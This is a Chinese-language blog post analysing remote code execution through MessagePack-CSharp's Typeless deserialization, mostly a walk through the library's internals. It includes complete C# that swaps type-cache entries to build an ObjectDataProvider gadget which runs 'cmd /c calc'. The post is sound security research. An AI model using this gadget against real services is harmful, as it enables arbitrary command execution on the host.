MessagePack-CSharp Typeless Mode Deserialization RCE

警告
本文最后更新于 2023-04-24,文中内容可能已过时。

这篇文章给了简单的讲解和利用方式: https://blog.netwrix.com/2023/04/10/generating-deserialization-payloads-for-messagepack-cs-typeless-mode/

我将对其进行补充。

# MessagePack架构

按照我的理解,MessagePack有三大对象

  1. Formatter
  2. Resolver
  3. FormatterCache

Formatter实现IMessagePackFormatter接口分别拥有Serialize和Deserialize能力

1
2
3
4
5
6
7
8
9
public interface IMessagePackFormatter
{
}

public interface IMessagePackFormatter<T> : IMessagePackFormatter
{
    void Serialize(ref MessagePackWriter writer, T value, MessagePackSerializerOptions options);
    T Deserialize(ref MessagePackReader reader, MessagePackSerializerOptions options);
}

Resolver实现IFormatterResolver接口

1
2
3
4
public interface IFormatterResolver
{
    IMessagePackFormatter<T>? GetFormatter<T>();
}

Resolver通过GetFormatter函数获取自身Formatter将两者关联起来。而基本上每个Resolver中都会有一个静态私有FormatterCache类,通过单例模式返回Resolver所拥有的Formatter

形如

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
using MessagePack.Formatters;

namespace MessagePack.Resolvers
{
    public sealed class PrimitiveObjectResolver : IFormatterResolver
    {
        public static readonly PrimitiveObjectResolver Instance;

        public static readonly MessagePackSerializerOptions Options;

        static PrimitiveObjectResolver()
        {
            Instance = new PrimitiveObjectResolver();
            Options = new MessagePackSerializerOptions(Instance);
        }

        private PrimitiveObjectResolver()
        {
        }

        public IMessagePackFormatter<T>? GetFormatter<T>()
        {
            return FormatterCache<T>.Formatter;
        }

        private static class FormatterCache<T>
        {
            public static readonly IMessagePackFormatter<T>? Formatter;

            static FormatterCache()
            {
                Formatter = (typeof(T) == typeof(object))
                    ? (IMessagePackFormatter<T>)(object)PrimitiveObjectFormatter.Instance
                    : null;
            }
        }
    }
}

MessagePack-CSharp库对于动态类型的处理采用的是Typeless模式,对应的Resolver是TypelessContractlessStandardResolver

序列化和反序列化代码如下

1
2
3
4
5
6
MessagePackSerializerOptions options = pUseLz4
    ? TypelessContractlessStandardResolver.Options.WithCompression(MessagePackCompression.Lz4BlockArray)
    : TypelessContractlessStandardResolver.Options;

var bytes = MessagePackSerializer.Serialize(odpInstance, options);
MessagePackSerializer.Deserialize<object>(bytes,options);

TypelessContractlessStandardResolver其实包含了多个Resolver

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
private static readonly IReadOnlyList<IFormatterResolver> Resolvers = new IFormatterResolver[]
{
    NativeDateTimeResolver.Instance,
    ForceSizePrimitiveObjectResolver.Instance,
    BuiltinResolver.Instance,
    AttributeFormatterResolver.Instance,
    DynamicEnumResolver.Instance,
    DynamicGenericResolver.Instance,
    DynamicUnionResolver.Instance,
    DynamicObjectResolver.Instance,
    DynamicContractlessObjectResolverAllowPrivate.Instance,
    TypelessObjectResolver.Instance
};

GetFormatter时会遍历这些Resolver,取得对应的解析器处理对应的类型。

# 序列化过程

接下来的调试以弹计算器为例调试,代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
using MessagePack;
using MessagePack.Resolvers;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Linq.Expressions;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp1
{
    internal class Program
    {
        static void Main(string[] args)
        {


            MessagePackSerializerOptions options = TypelessContractlessStandardResolver.Options
                                                    .WithAllowAssemblyVersionMismatch(true)
                                                    .WithSecurity(MessagePackSecurity.UntrustedData);

            byte[] bytes = MessagePackHelper.CreateObjectDataProviderGadget("cmd", "/c calc", false);

            MessagePackSerializer.Deserialize<object>(bytes,options);
         
            Console.ReadKey();

        }
    }
}
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using MessagePack;
using MessagePack.Formatters;
using MessagePack.Resolvers;
namespace ConsoleApp1
{
    internal class MessagePackHelper
    {
        internal static byte[] CreateObjectDataProviderGadget(string pCmdFileName, string pCmdArguments, bool pUseLz4)
        {
            SwapTypeCacheNames(
                new Dictionary<Type, string>
                {
                    {
                        typeof(ObjectDataProviderSurrogate),
                        "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                    },
                    {
                        typeof(ProcessSurrogate),
                        "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                    },
                    {
                        typeof(ProcessStartInfoSurrogate),
                        "System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                    }
                });

            var odpInstance = CreateObjectDataProviderSurrogateInstance(pCmdFileName, pCmdArguments);

            MessagePackSerializerOptions options = pUseLz4
                ? TypelessContractlessStandardResolver.Options.WithCompression(MessagePackCompression.Lz4BlockArray)
                : TypelessContractlessStandardResolver.Options;

            return MessagePackSerializer.Serialize(odpInstance, options);
        }

        /// <summary>
        /// Tests the deserialization of a serialized object.
        /// </summary>
        /// <param name="pSerializedData">The serialized data.</param>
        /// <param name="pUseLz4">Flag to use Lz4 compression. This works with both Lz4Block and Lz4BlockArray.</param>
        internal static void Test(byte[] pSerializedData, bool pUseLz4)
        {
            MessagePackSerializerOptions options = pUseLz4
                ? TypelessContractlessStandardResolver.Options.WithCompression(MessagePackCompression.Lz4BlockArray)
                : TypelessContractlessStandardResolver.Options;

            MessagePackSerializer.Deserialize<object>(pSerializedData, options);
        }

        /// <summary>
        /// Utilizes reflection to add values to the internal FullTypeNameCache that MessagePack uses to acquire cached type names for serialization.
        /// This allows us to swap our surrogate ObjectDataProvider gadget type information with the real gadget AQNs when serialized.
        /// </summary>
        /// <param name="pNewTypeCacheEntries">
        /// The dictionary of type name cache entries to swap. 
        ///     Key = The type that the serializer has found.
        ///     Value = The real gadget type AQN string which we want to use instead of the surrogate type AQN.
        /// </param>
        private static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
        {
            FieldInfo typeNameCacheField = typeof(TypelessFormatter).GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
            object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);

            MethodInfo method = typeNameCacheField.FieldType.GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });

            foreach (var typeSwap in pNewTypeCacheEntries)
            {
                method.Invoke(typeNameCache,
                    new object[]
                    {
                        typeSwap.Key,
                        System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
                    });
            }
        }

        /// <summary>
        /// Creates a populated surrogate ObjectDataProvider instance which matches the object graph of the real ObjectDataProvider gadget.
        /// </summary>
        /// <param name="pCmdFileName">The command filename.</param>
        /// <param name="pCmdArguments">The command arguments.</param>
        /// <returns>The full ObjectDataProvider surrogate object graph.</returns>
        private static object CreateObjectDataProviderSurrogateInstance(string pCmdFileName, string pCmdArguments)
        {
            return new ObjectDataProviderSurrogate
            {
                MethodName = "Start",
                ObjectInstance = new ProcessSurrogate
                {
                    StartInfo = new ProcessStartInfoSurrogate
                    {
                        FileName = pCmdFileName,
                        Arguments = pCmdArguments
                    }
                }
            };
        }
        internal sealed class ObjectDataProviderSurrogate
        {
            public string MethodName { get; set; }
            public object ObjectInstance { get; set; }
        }

        /// <summary>
        /// Surrogate class for bait-and-switch version of ProcessStartInfo.
        /// </summary>
        internal sealed class ProcessStartInfoSurrogate
        {
            public string FileName { get; set; }
            public string Arguments { get; set; }
        }

        /// <summary>
        /// Surrogate class for bait-and-switch version of Process.
        /// </summary>
        internal sealed class ProcessSurrogate
        {
            public ProcessStartInfoSurrogate StartInfo { get; set; }
        }
    }
}

序列化有多个重载,最终会执行到MessagePack.MessagePackSerializer.Serialize(ref MessagePackWriter, T, MessagePackSerializerOptions)函数

根据给定的options中lz4是否压缩的选项执行不同的操作

image.png

圈中的是序列化真正执行的函数 options.Resolver.GetFormatterWithVerify<T>().Serialize(ref messagePackWriter, value, options);

在GetFormatterWithVerify中

image.png

调用resolver.GetFormatter<T>();拿到泛型T对应的formatter,之前说过,formatter和Resolver通过cache关联起来,当指定options为TypelessContractlessStandardResolver.Options时,Resolver为TypelessContractlessStandardResolver

1
2
3
4
public IMessagePackFormatter<T> GetFormatter<T>()
{
    return this.resolverCache.GetFormatter<T>();
}

其GetFormatter函数调用自身resolverCache的GetFormatter函数,而resolverCache的定义如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
private static readonly IReadOnlyList<IFormatterResolver> Resolvers = new IFormatterResolver[]
{
    NativeDateTimeResolver.Instance,
    ForceSizePrimitiveObjectResolver.Instance,
    BuiltinResolver.Instance,
    AttributeFormatterResolver.Instance,
    DynamicEnumResolver.Instance,
    DynamicGenericResolver.Instance,
    DynamicUnionResolver.Instance,
    DynamicObjectResolver.Instance,
    DynamicContractlessObjectResolverAllowPrivate.Instance,
    TypelessObjectResolver.Instance
};

private readonly TypelessContractlessStandardResolver.ResolverCache resolverCache = new TypelessContractlessStandardResolver.ResolverCache(TypelessContractlessStandardResolver.Resolvers);

ResolverCache类继承自CachingFormatterResolver

image.png

其GetFormatter函数实现了缓存,当T类型没有对应上this.formatters缓存时,会调用ResolverCache类重写之后的GetFormatterCore函数,即

image.png

到此为止就是遍历TypelessContractlessStandardResolver.Resolvers获取泛型T对应的formatter和Resolver

前面的几个resolver都不符合泛型T类型,当遍历到 TypelessObjectResolver 时

image.png

满足条件typeof(T) == typeof(object),此时拿到的formatter是TypelessFormatter,为什么T==object是因为序列化时MessagePackSerializer.Serialize(odpInstance, options)默认就是object

image.png

如果用MessagePackSerializer.Serialize<MyClass>(myObj, options),那么T==MyClass,泛型基础知识,不再赘述。

取到formatter=TypelessFormatter之后进入其Serialize函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
public void Serialize(ref MessagePackWriter writer, [Nullable(2)] object value, MessagePackSerializerOptions options)
{
    if (value == null)
    {
        writer.WriteNil();
        return;
    }
    Type type = value.GetType();
    ThreadsafeTypeKeyHashTable<byte[]> threadsafeTypeKeyHashTable = options.OmitAssemblyVersion ? TypelessFormatter.ShortenedTypeNameCache : TypelessFormatter.FullTypeNameCache;
    byte[] array;
    if (!threadsafeTypeKeyHashTable.TryGetValue(type, out array))
    {
        if (type.GetTypeInfo().IsAnonymous() || TypelessFormatter.UseBuiltinTypes.Contains(type))
        {
            array = null;
        }
        else
        {
            array = StringEncoding.UTF8.GetBytes(this.BuildTypeName(type, options));
        }
        threadsafeTypeKeyHashTable.TryAdd(type, array);
    }
    if (array == null)
    {
        DynamicObjectTypeFallbackFormatter.Instance.Serialize(ref writer, value, options);
        return;
    }
    object formatterDynamicWithVerify = options.Resolver.GetFormatterDynamicWithVerify(type);
    TypelessFormatter.SerializeMethod serializeMethod;
    if (!TypelessFormatter.Serializers.TryGetValue(type, out serializeMethod))
    {
        ThreadsafeTypeKeyHashTable<TypelessFormatter.SerializeMethod> serializers = TypelessFormatter.Serializers;
        lock (serializers)
        {
            if (!TypelessFormatter.Serializers.TryGetValue(type, out serializeMethod))
            {
                TypeInfo typeInfo = type.GetTypeInfo();
                Type type2 = typeof(IMessagePackFormatter<>).MakeGenericType(new Type[]
                {
                    type
                });
                ParameterExpression parameterExpression = Expression.Parameter(typeof(object), "formatter");
                ParameterExpression parameterExpression2 = Expression.Parameter(typeof(MessagePackWriter).MakeByRefType(), "writer");
                ParameterExpression parameterExpression3 = Expression.Parameter(typeof(object), "value");
                ParameterExpression parameterExpression4 = Expression.Parameter(typeof(MessagePackSerializerOptions), "options");
                MethodInfo runtimeMethod = type2.GetRuntimeMethod("Serialize", new Type[]
                {
                    typeof(MessagePackWriter).MakeByRefType(),
                    type,
                    typeof(MessagePackSerializerOptions)
                });
                serializeMethod = Expression.Lambda<TypelessFormatter.SerializeMethod>(Expression.Call(Expression.Convert(parameterExpression, type2), runtimeMethod, parameterExpression2, typeInfo.IsValueType ? Expression.Unbox(parameterExpression3, type) : Expression.Convert(parameterExpression3, type), parameterExpression4), new ParameterExpression[]
                {
                    parameterExpression,
                    parameterExpression2,
                    parameterExpression3,
                    parameterExpression4
                }).Compile();
                TypelessFormatter.Serializers.TryAdd(type, serializeMethod);
            }
        }
    }
    using (SequencePool.Rental rental = options.SequencePool.Rent())
    {
        MessagePackWriter messagePackWriter = writer.Clone(rental.Value);
        messagePackWriter.WriteString(array);
        serializeMethod(formatterDynamicWithVerify, ref messagePackWriter, value, options);
        messagePackWriter.Flush();
        writer.WriteExtensionFormat(new ExtensionResult(100, rental.Value));
    }
}

代码比较多,一点点来看

image.png

先拿type,然后从缓存hash表threadsafeTypeKeyHashTable中取type对应的值,如果不存在则将TryAdd进去

BuildTypeName取Type的AssemblyQualifiedName

image.png

然后将 TryAdd(value.getType(),StringEncoding.UTF8.GetBytes(this.BuildTypeName(type, options)))

这个地方的缓存表也是后面写exp时需要用到的点。

接着是

1
object formatterDynamicWithVerify = options.Resolver.GetFormatterDynamicWithVerify(type);

根据指定的type返回对应的formatter,其最终会进入 GetFormatterDynamic

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static object GetFormatterDynamic(this IFormatterResolver resolver, Type type)
{
    if (resolver == null)
    {
        throw new ArgumentNullException("resolver");
    }
    if (type == null)
    {
        throw new ArgumentNullException("type");
    }
    Func<IFormatterResolver, IMessagePackFormatter> func;
    if (!FormatterResolverExtensions.FormatterGetters.TryGetValue(type, out func))
    {
        MethodInfo method = FormatterResolverExtensions.GetFormatterRuntimeMethod.MakeGenericMethod(new Type[]
        {
            type
        });
        ParameterExpression parameterExpression;
        func = Expression.Lambda<Func<IFormatterResolver, IMessagePackFormatter>>(Expression.Call(parameterExpression, method), new ParameterExpression[]
        {
            parameterExpression
        }).Compile();
        FormatterResolverExtensions.FormatterGetters.TryAdd(type, func);
    }
    return func(resolver);
}

GetFormatterDynamic返回的是func(resolver),func是一个动态函数,其实是执行的GetFormatterRuntimeMethod

image.png

GetFormatterRuntimeMethod在static中被赋值为GetFormatter,MakeGenericMethod之后method就是

image.png

此时resolver是TypelessContractlessStandardResolver,func是它的泛型函数GetFormatter,所以它调用的是

MessagePack.Resolvers.TypelessContractlessStandardResolver.GetFormatter<ConsoleApp1.MessagePackHelper.ObjectDataProviderSurrogate>()

在这个里面重新走一边,在resolver=DynamicContractlessObjectResolverAllowPrivate时,得到formatter

image.png

1
DynamicContractlessObjectResolverAllowPrivate.FormatterCache<T>.Formatter = (IMessagePackFormatter<T>)DynamicObjectTypeBuilder.BuildFormatterToDynamicMethod(typeof(T), true, true, true);

此时返回的formatter为MessagePack.Internal.AnonymousSerializableFormatter<ConsoleApp1.MessagePackHelper.ObjectDataProviderSurrogate>

AnonymousSerializableFormatter是由DynamicObjectTypeBuilder.BuildFormatterToDynamicMethod()函数build出来的

image.png

其中Serialize和Deserialize都是调用自身AnonymousSerializeFunc和AnonymousDeserializeFunc实现序列化反序列化

这两个func委托从哪来?我们需要看一下DynamicObjectTypeBuilder.BuildFormatterToDynamicMethod()函数实现

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129

public static object? BuildFormatterToDynamicMethod(Type type, bool forceStringKey, bool contractless, bool allowPrivate)
{
    // 获取序列化字段信息
    var serializationInfo = ObjectSerializationInfo.CreateOrNull(type, forceStringKey, contractless, allowPrivate, dynamicMethod: true);
    if (serializationInfo == null)
    {
        return null;
    }

    // internal delegate void AnonymousSerializeFunc<T>(byte[][] stringByteKeysField, object[] customFormatters, ref MessagePackWriter writer, T value, MessagePackSerializerOptions options);
    // internal delegate T AnonymousDeserializeFunc<T>(object[] customFormatters, ref MessagePackReader reader, MessagePackSerializerOptions options);
    var serialize = new DynamicMethod("Serialize", null, new[] { typeof(byte[][]), typeof(object[]), typeof(MessagePackWriter).MakeByRefType(), type, typeof(MessagePackSerializerOptions) }, type, true);
    DynamicMethod? deserialize = null;

    List<byte[]> stringByteKeysField = new List<byte[]>();
    List<object?> serializeCustomFormatters = new List<object?>();
    List<object?> deserializeCustomFormatters = new List<object?>();

    if (serializationInfo.IsStringKey)
    {
        var i = 0;
        foreach (ObjectSerializationInfo.EmittableMember item in serializationInfo.Members.Where(x => x.IsReadable))
        {
            stringByteKeysField.Add(Utilities.GetWriterBytes(item.StringKey, (ref MessagePackWriter writer, string? arg) => writer.Write(arg), SequencePool.Shared));
            i++;
        }
    }

    // 遍历成员拿到自定义的MessagePackFormatterAttribute属性添加到序列化formatter中
    foreach (ObjectSerializationInfo.EmittableMember item in serializationInfo.Members.Where(x => x.IsReadable))
    {
        MessagePackFormatterAttribute? attr = item.GetMessagePackFormatterAttribute();
        if (attr != null)
        {
            IMessagePackFormatter formatter = ResolverUtilities.ActivateFormatter(attr.FormatterType, attr.Arguments);
            serializeCustomFormatters.Add(formatter);
        }
        else
        {
            serializeCustomFormatters.Add(null);
        }
    }

    // 遍历成员拿到自定义的MessagePackFormatterAttribute属性添加到 反序列化 formatter中
    foreach (ObjectSerializationInfo.EmittableMember item in serializationInfo.Members)
    {
        // not only for writable because for use ctor.
        MessagePackFormatterAttribute? attr = item.GetMessagePackFormatterAttribute();
        if (attr != null)
        {
            IMessagePackFormatter formatter = ResolverUtilities.ActivateFormatter(attr.FormatterType, attr.Arguments);
            deserializeCustomFormatters.Add(formatter);
        }
        else
        {
            deserializeCustomFormatters.Add(null);
        }
    }

    // 使用IL生成对应的serialize函数
    {
        ILGenerator il = serialize.GetILGenerator();
        BuildSerialize(
            type,
            serializationInfo,
            il,
            () =>
            {
                il.EmitLdarg(0);
            },
            (index, member) =>
            {
                if (serializeCustomFormatters.Count > 0 && serializeCustomFormatters[index] is object formatter)
                {
                    return () =>
                    {
                        il.EmitLdarg(1); // read object[]
                        il.EmitLdc_I4(index);
                        il.Emit(OpCodes.Ldelem_Ref); // object
                        il.Emit(OpCodes.Castclass, formatter.GetType());
                    };
                }
                else
                {
                    return null;
                }
            },
            2);  // 0, 1 is parameter.
    }

    // 使用IL生成对应的deserialize函数
    if (serializationInfo.IsStruct || serializationInfo.BestmatchConstructor != null)
    {
        deserialize = new DynamicMethod("Deserialize", type, new[] { typeof(object[]), refMessagePackReader, typeof(MessagePackSerializerOptions) }, type, true);

        ILGenerator il = deserialize.GetILGenerator();
        BuildDeserialize(
            type,
            serializationInfo,
            il,
            (index, member) =>
            {
                if (deserializeCustomFormatters.Count > 0 && deserializeCustomFormatters[index] is object formatter)
                {
                    return () =>
                    {
                        il.EmitLdarg(0); // read object[]
                        il.EmitLdc_I4(index);
                        il.Emit(OpCodes.Ldelem_Ref); // object
                        il.Emit(OpCodes.Castclass, formatter.GetType());
                    };
                }
                else
                {
                    return null;
                }
            },
            1);
    }

    // 创建对应的委托 将序列化反序列化操作交由IL生成的函数执行
    object serializeDelegate = serialize.CreateDelegate(typeof(AnonymousSerializeFunc<>).MakeGenericType(type));
    object? deserializeDelegate = deserialize?.CreateDelegate(typeof(AnonymousDeserializeFunc<>).MakeGenericType(type));
    var resultFormatter = Activator.CreateInstance(
        typeof(AnonymousSerializableFormatter<>).MakeGenericType(type),
        new[] { stringByteKeysField.ToArray(), serializeCustomFormatters.ToArray(), deserializeCustomFormatters.ToArray(), serializeDelegate, deserializeDelegate });
    return resultFormatter;
}

关键代码我写了注释,这个函数的作用就是使用IL创建序列化和反序列化函数。类似于fastjson中的asm拿getter、setter。

接下来il代码我不熟悉,简单写写

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
private static void BuildSerialize(Type type, ObjectSerializationInfo info, ILGenerator il, Action emitStringByteKeys, Func<int, ObjectSerializationInfo.EmittableMember, Action?> tryEmitLoadCustomFormatter, int firstArgIndex)
{
    var argWriter = new ArgumentField(il, firstArgIndex);
    var argValue = new ArgumentField(il, firstArgIndex + 1, type);
    var argOptions = new ArgumentField(il, firstArgIndex + 2);
    ...
    // IMessagePackSerializationCallbackReceiver.OnBeforeSerialize()
    if (type.GetTypeInfo().ImplementedInterfaces.Any(x => x == typeof(IMessagePackSerializationCallbackReceiver)))
    {
        // call directly
        MethodInfo[] runtimeMethods = type.GetRuntimeMethods().Where(x => x.Name == "OnBeforeSerialize").ToArray();
        if (runtimeMethods.Length == 1)
        {
            argValue.EmitLoad();
            il.Emit(OpCodes.Call, runtimeMethods[0]); // don't use EmitCall helper(must use 'Call')
        }
        else
        {
            argValue.EmitLdarg(); // force ldarg
            il.EmitBoxOrDoNothing(type);
            il.EmitCall(onBeforeSerialize);
        }
    }

    ...
    foreach (ObjectSerializationInfo.EmittableMember item in info.Members.Where(x => x.IsReadable))
    {
        argWriter.EmitLoad();
        emitStringByteKeys();
        il.EmitLdc_I4(index);
        il.Emit(OpCodes.Ldelem_Ref);
        il.Emit(OpCodes.Call, ReadOnlySpanFromByteArray); // convert byte[] to ReadOnlySpan<byte>

        ...
        EmitSerializeValue(il, type.GetTypeInfo(), item, index, tryEmitLoadCustomFormatter, argWriter, argValue, argOptions, localResolver);
        index++;
    }
    ...
}

private static void EmitSerializeValue(ILGenerator il, TypeInfo type, ObjectSerializationInfo.EmittableMember member, int index, Func<int, ObjectSerializationInfo.EmittableMember, Action?> tryEmitLoadCustomFormatter, ArgumentField argWriter, ArgumentField argValue, ArgumentField argOptions, LocalBuilder localResolver)
{
    Label endLabel = il.DefineLabel();
    Type t = member.Type;
    Action? emitter = tryEmitLoadCustomFormatter(index, member);
    if (emitter != null)
    {
        emitter();
        argWriter.EmitLoad();
        argValue.EmitLoad();
        member.EmitLoadValue(il);
        argOptions.EmitLoad();
        il.EmitCall(getSerialize(t));
    }
    else if (ObjectSerializationInfo.IsOptimizeTargetType(t))
    {
        if (!t.GetTypeInfo().IsValueType)
        {
            // As a nullable type (e.g. byte[] and string) we need to call WriteNil for null values.
            Label writeNonNilValueLabel = il.DefineLabel();
            LocalBuilder memberValue = il.DeclareLocal(t);
            argValue.EmitLoad();
            member.EmitLoadValue(il);
            il.Emit(OpCodes.Dup);
            il.EmitStloc(memberValue);
            il.Emit(OpCodes.Brtrue, writeNonNilValueLabel);
            argWriter.EmitLoad();
            il.EmitCall(MessagePackWriterTypeInfo.WriteNil);
            il.Emit(OpCodes.Br, endLabel);

            il.MarkLabel(writeNonNilValueLabel);
            argWriter.EmitLoad();
            il.EmitLdloc(memberValue);
        }
        else
        {
            argWriter.EmitLoad();
            argValue.EmitLoad();
            member.EmitLoadValue(il);
        }

        if (t == typeof(byte[]))
        {
            il.EmitCall(ReadOnlySpanFromByteArray);
            il.EmitCall(MessagePackWriterTypeInfo.WriteBytes);
        }
        else
        {
            il.EmitCall(typeof(MessagePackWriter).GetRuntimeMethod("Write", new Type[] { t })!);
        }
    }
    else
    {
        il.EmitLdloc(localResolver);
        il.Emit(OpCodes.Call, getFormatterWithVerify.MakeGenericMethod(t));

        argWriter.EmitLoad();
        argValue.EmitLoad();
        member.EmitLoadValue(il);
        argOptions.EmitLoad();
        il.EmitCall(getSerialize(t));
    }

    il.MarkLabel(endLabel);
}

BuildSerialize中实现了OnBeforeSerialize事件,然后通过EmitSerializeValue拿到序列化成员对应的值

EmitSerializeValue中通过EmitLoadValue、EmitLoad等函数拿到成员值(其实就是getter),然后调用MessagePackWriter.Write将值写入到数据流中。

至此序列化流程结束。

通过多个Resolver和Formatter的组合来实现不同数据类型的序列化,通过IL生成代码来实现自定义数据类型的序列化,配合递归、循环等实现多层次数据结构序列化。

# 反序列化

其实明白了序列化过程之后,反序列化无非就是反着来一遍,getter变setter罢了,不多写了,主要写一下构造反序列化poc。

dotnet中最常见的就是使用System.Windows.Data.ObjectDataProvider

在ObjectDataProvider类中,MethodName和ObjectInstance属性的setter执行后会调用base.Refresh();进一步调用自身BeginQuery(),再调用QueryWorker

image.png

QueryWorker中反射执行从而rce。

那么如何在MessagePack构造呢?之前序列化的时候我们提到了MessagePack有一个缓存表存储了TryAdd(value.getType(),StringEncoding.UTF8.GetBytes(this.BuildTypeName(type, options))),那么我们在序列化的时候直接在这个表里写入对应的类映射关系即可。

也就是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
internal sealed class ObjectDataProviderSurrogate
{
    public string MethodName { get; set; }
    public object ObjectInstance { get; set; }
}

/// <summary>
/// Surrogate class for bait-and-switch version of ProcessStartInfo.
/// </summary>
internal sealed class ProcessStartInfoSurrogate
{
    public string FileName { get; set; }
    public string Arguments { get; set; }
}

/// <summary>
/// Surrogate class for bait-and-switch version of Process.
/// </summary>
internal sealed class ProcessSurrogate
{
    public ProcessStartInfoSurrogate StartInfo { get; set; }
}

将我们的自定义类映射到对应的type上

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
    typeof(ObjectDataProviderSurrogate),
    "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
},
{
    typeof(ProcessSurrogate),
    "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
    typeof(ProcessStartInfoSurrogate),
    "System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}

接着将其写入缓存表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
private static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
    FieldInfo typeNameCacheField = typeof(TypelessFormatter).GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
    object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);

    MethodInfo method = typeNameCacheField.FieldType.GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });

    foreach (var typeSwap in pNewTypeCacheEntries)
    {
        method.Invoke(typeNameCache,
            new object[]
            {
                typeSwap.Key,
                System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
            });
    }
}

接下来再创建对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
private static object CreateObjectDataProviderSurrogateInstance(string pCmdFileName, string pCmdArguments)
{
    return new ObjectDataProviderSurrogate
    {
        MethodName = "Start",
        ObjectInstance = new ProcessSurrogate
        {
            StartInfo = new ProcessStartInfoSurrogate
            {
                FileName = pCmdFileName,
                Arguments = pCmdArguments
            }
        }
    };
}

由此ObjectDataProviderSurrogate会被映射到System.Windows.Data.ObjectDataProvider上,不得不说很巧。

# 版本问题

https://github.com/pwntester/ysoserial.net/pull/146

chudyPB 提出了ObjectDataProvider在反序列化时有版本限制,旧版本的MessagePack会将ObjectDataProvider中Dispatcher设置为空,导致在OnQueryFinished时抛出异常导致dos。具体看他们在pr中的讨论吧,很清晰。

# 总结

这篇文章是我看了国外Dane Evans写的文章之后,对其学习的总结,学到了很多东西。

# 参考

  1. https://github.com/pwntester/ysoserial.net/pull/146
  2. https://blog.netwrix.com/2023/04/10/generating-deserialization-payloads-for-messagepack-cs-typeless-mode/

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。